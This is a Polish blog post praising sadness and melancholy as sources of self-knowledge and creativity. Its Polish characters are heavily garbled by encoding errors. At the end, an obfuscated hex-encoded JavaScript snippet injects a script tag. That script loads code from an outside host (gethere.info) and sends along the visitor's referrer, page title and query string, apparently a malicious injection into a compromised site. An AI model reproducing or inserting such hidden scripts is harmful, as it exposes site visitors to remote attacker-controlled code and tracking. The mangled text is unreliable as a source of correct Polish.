PochwaA�a smutku

opublikowane w Najnowsze Wpisy, Psychologia | 0

„LubiA� jesieA�… JesieA� jakby usprawiedliwia depresjA�, jesieniA� nie trzeba byA� mA�odym, zdrowym, aktywnym jak latem, jesieniA� moA?na sobie popA�akaA�, jesieA� to pora ludzi samotnych.” – PaweA� Pollak

Idzie jesieA�, a wraz z niA� krA?tsze, chA�odne dni. Wielu z nas zaczyna odczuwaA� w tym czasie przygnA�bienie, ospaA�oA�A�, rozdraA?nienie. A jeA�li dopada nas chandra, natychmiast pojawia siA� pytanie jak jej zapobiec. PrzecieA? nie moA?emy pozwalaA� sobie na sA�aboA�A�. Nie pA�akaA�, nie narzekaA�, nie zgrzytaA� zA�bami, A?e jest A?le. Mamy byA� zawsze piA�kni, zadowoleni, tryskajA�cy energiA� i optymizmem. ByA� wiecznie szczA�A�liwym. Tego uczy nas dzisiejszy A�wiat. Ja dziA� wyjdA� temu naprzeciw.

Napisano wiele na temat jesiennej chandry i jak siA� jej nie daA�. Ale czy na pewno chodzi o to, aby siA� jej nie daA�? NiezaleA?nie od tego, czy jesteA�my bogaci czy biedni, zdrowi czy chorzy, samotni czy w zwiA�zku, kaA?dego z nas czasem dopada niechA�A� i poczucie bezsensu. PrzecieA? bycie wiecznie szczA�A�liwym jest niewykonalne. Poza tym… jak napisaA� Goethe: „nie ma nic nudniejszego niA? dA�ugi ciA�g pogodnych dni”.

Gorsze samopoczucie jest traktowane jako defekt. Smutek, lA�k, rozczarowanie, poczucie bA?lu istnienia i inne podobne emocje traktowane sA� jak wady. Nauczeni jesteA�my zwalczaA� kaA?dA� trudnA� emocjA�. Jak twierdzA� psychologowie – niepotrzebnie, a nawet szkodliwie. Dlaczego? Bo takie emocje mogA� byA� znakiem, informacjA� dla nas odsyA�ajA�cA� do czegoA� gA�A�biej. Akceptacja jedynie dla pozytywnych emocji sprawia, A?e ignorujemy system ostrzegawczy, w jaki wyposaA?yA�a nas natura.A�a�zOkazuje siA�, A?e niepotrzebnie utoA?samiamy smutek z czymA� zA�ym. Bardzo czA�sto kojarzy siA� on negatywnie. ZakA�ada siA�, A?e oznacza samotnoA�A� i wyobcowanie. Smutek jest teA? czA�sto mylony z pesymizmem. A to oczywisty bA�A�d. Pesymizm to A�wiatopoglA�d i stosunek do A�wiata. Smutek to stan ducha, ktA?rego A?rA?dA�em moA?e byA� brak poczucia speA�nienia w dowolnej dziedzinie A?yciaa�? a�� wyjaA�nia Violetta Rymszewicz, doradca z zakresu ZarzA�dzania Zasobami Ludzkimi. Lecz ten stan ducha moA?e mieA� na nas naprawdA� zbawienny wpA�yw. Z badaA� psychologicznych wynika, A?e tylko ludzie ze skA�onnoA�ciA� do melancholii majA� w peA�ni realistyczny obraz siebie i otaczajA�cego A�wiata. Wszyscy pozostali tak naprawdA� siA� zakA�amujA� a�� mA?wi dr Jacek Santorski, psycholog biznesu.

Co nam daje smutek?

Gdyby smutek nie byA� nam potrzebny, nie funkcjonowaA�aby z naszym A?yciu. Smutek skA�ania nas do przemyA�leA�, pomaga dogA�A�bnie wsA�uchaA� siA� w siebie. MoA?e nas takA?e uzdrawiaA�, bowiem A�zy, ktA?re czA�sto mu towarzyszA� oczyszczajA�, pozwalajA� uwolniA� napiA�cie.A�Gdy jesteA�my smutni czA�sto zadajemy pytania, a w odpowiedziach odnajdujemy swoje priorytety. W trudnym dla nas czasie wnikliwiej analizujemy otaczajA�cy nas A�wiat, a dziA�ki takim gA�A�bokim rozwaA?aniom mamy wiA�kszA� szansA�, by coA� diametralnie w swoim A?yciu zmieniA�.A�Smutek pozwala nam teA? cieszyA� siA� nadchodzA�cym szczA�A�ciem. Sprawia, A?e bardziej je doceniamy, w koA�cu „musi byA� czasem zimno, A?eby poczuA�, czym jest ciepA�o”.A�MA?wi siA�, A?e smutek pomaga tworzyA�. DziA�ki rozstaniom czy utracie bliskiej osoby powstaA�o wiele piA�knych piosenek i wierszy. Wielu artystA?w twierdzi, A?e ich najlepsze dzieA�a powstaA�y wA�aA�nie ze smutku. Co zaskakujA�ce, smutek poA?A�dany jest jednak nie tylko w branA?y artystyczneja��

PesymiA�ci lepszymi pracownikami?

Nie wiadomo skA�d wziA�A�o siA� przekonanie, A?e to optymiA�ci sA� najlepszymi pracownikami, A?e to ludzie radoA�ni sA� kreatywni, A?e na rozmowie o pracA� trzeba siA� uA�miechaA� i tryskaA� energiA�. To smutek i pesymizm nakrA�cajA� kreatywnoA�A� i to wA�aA�nie tych cech powinni szukaA� pracodawcy u pracownikA?w – mA?wi Violetta Rymszewicz. A to dlatego, A?e pomysA�y osA?b o takim typie osobowoA�ci sA� nie tylko kreatywne, ale i innowacyjne. SzukajA� nowych rozwiA�zaA� i to je zdecydowanie wyrA?A?nia. Kiedy jesteA�my szczA�A�liwi, nie myA�limy o zmianach, nie szukamy nowych doznaA� i przeA?yA�. Dopiero poczucie braku i niedosytu sprawia, A?e czujemy siA� niespeA�nieni. A to nakA�ania do zmian i szukania nowych rozwiA�zaA�. Tak rozumiany smutek oznacza kreatywnoA�A�.

W Polsce na przekA?r zatrudnia siA� jednak optymistA?w. To zwykA�e lenistwo, bo optymiA�ci sA� A�atwiejsi w kontaktach miA�dzyludzkich – zaznacza Rymszewicz. Badania wykazujA�, A?e optymistami A�atwiej kierowaA�, sA� bardziej otwarci i przez to podatni na zewnA�trzne opinie i kontrolA�. MoA?e dlatego polscy pracodawcy tak chA�tnie z nimi pracujA�? Nie chcA� mierzyA� siA� z silnymi osobowoA�ciami. Bo wbrew pozorom pesymiA�ci to zazwyczaj bardzo silne osobowoA�ci. WiedzA�, co robiA�, A?eby zamieniA� wewnA�trzne niespeA�nienie w sukces, sA� kreatywni i czA�sto myA�lA� niekonwencjonalnie.

Nie zrozumcie mnie A?le. Absolutnie nie namawiam do tego, by siA� smuciA�. Jestem tylko przeciwna udawaniu, faA�szywym uA�miechom, grom i pokazywaniu wszystkim dookoA�a jacy jesteA�my szczA�A�liwi. ZwA�aszcza kiedy nie jesteA�my. Jestem za tym, aby zdjA�A� ten pozorny uA�miech z twarzy, kiedy w rzeczywistoA�ci nie jest nam do A�miechu i popA�ynA�A� z cudownA� melancholiA�, ktA?ra czasem rozrywa nas od wewnA�trz. Jestem za tym, A?eby byA� sobA� w kaA?dej sytuacji. A�eby nie graA�. A�eby pozwalaA� sobie na przeA?ywanie caA�ego wachlarza emocji, jaki jest w kaA?dym z nas i nie udawaA�, A?e niektA?re z nich nie istniejA�,A�bo kiedyA� mogA� wybuchnA�A� ze zdwojonA� siA�A�.

komiks MikoA�ajaRys. MikoA�aj Kapusta


 var _0xb322=[„\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xb322[1]](_0xb322[0]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}